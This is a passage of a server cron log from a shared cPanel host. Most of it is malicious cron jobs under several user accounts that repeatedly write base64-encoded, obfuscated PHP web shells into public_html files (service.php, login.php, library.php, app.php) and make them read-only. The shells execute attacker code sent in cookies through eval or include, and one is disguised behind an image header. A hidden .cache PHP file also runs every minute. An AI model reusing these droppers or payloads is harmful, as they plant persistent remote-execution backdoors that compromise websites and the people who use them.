qOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:16:01 medusa CROND[31374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:16:01 medusa CROND[31377]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:16:01 medusa CROND[31372]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:17:02 medusa CROND[4538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:17:02 medusa CROND[4540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:17:02 medusa CROND[4541]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:17:02 medusa CROND[4542]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:17:02 medusa CROND[4543]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:17:02 medusa CROND[4544]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:17:02 medusa CROND[4545]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:17:02 medusa CROND[4546]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 06:17:02 medusa CROND[4552]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:17:02 medusa CROND[4554]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:17:02 medusa CROND[4559]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:17:02 medusa CROND[4558]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:17:02 medusa CROND[4562]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:18:01 medusa CROND[8800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:18:01 medusa CROND[8902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:18:01 medusa CROND[8904]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:18:01 medusa CROND[8905]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:18:01 medusa CROND[8906]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:18:01 medusa CROND[8907]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:18:01 medusa CROND[8915]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:18:01 medusa CROND[8917]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:18:01 medusa CROND[8918]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:18:01 medusa CROND[8919]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:18:01 medusa CROND[8923]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:18:01 medusa CROND[8930]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:18:01 medusa CROND[8931]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:18:01 medusa CROND[8933]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 06:19:01 medusa CROND[13550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:19:02 medusa CROND[13574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:19:02 medusa CROND[13576]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:19:02 medusa CROND[13577]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 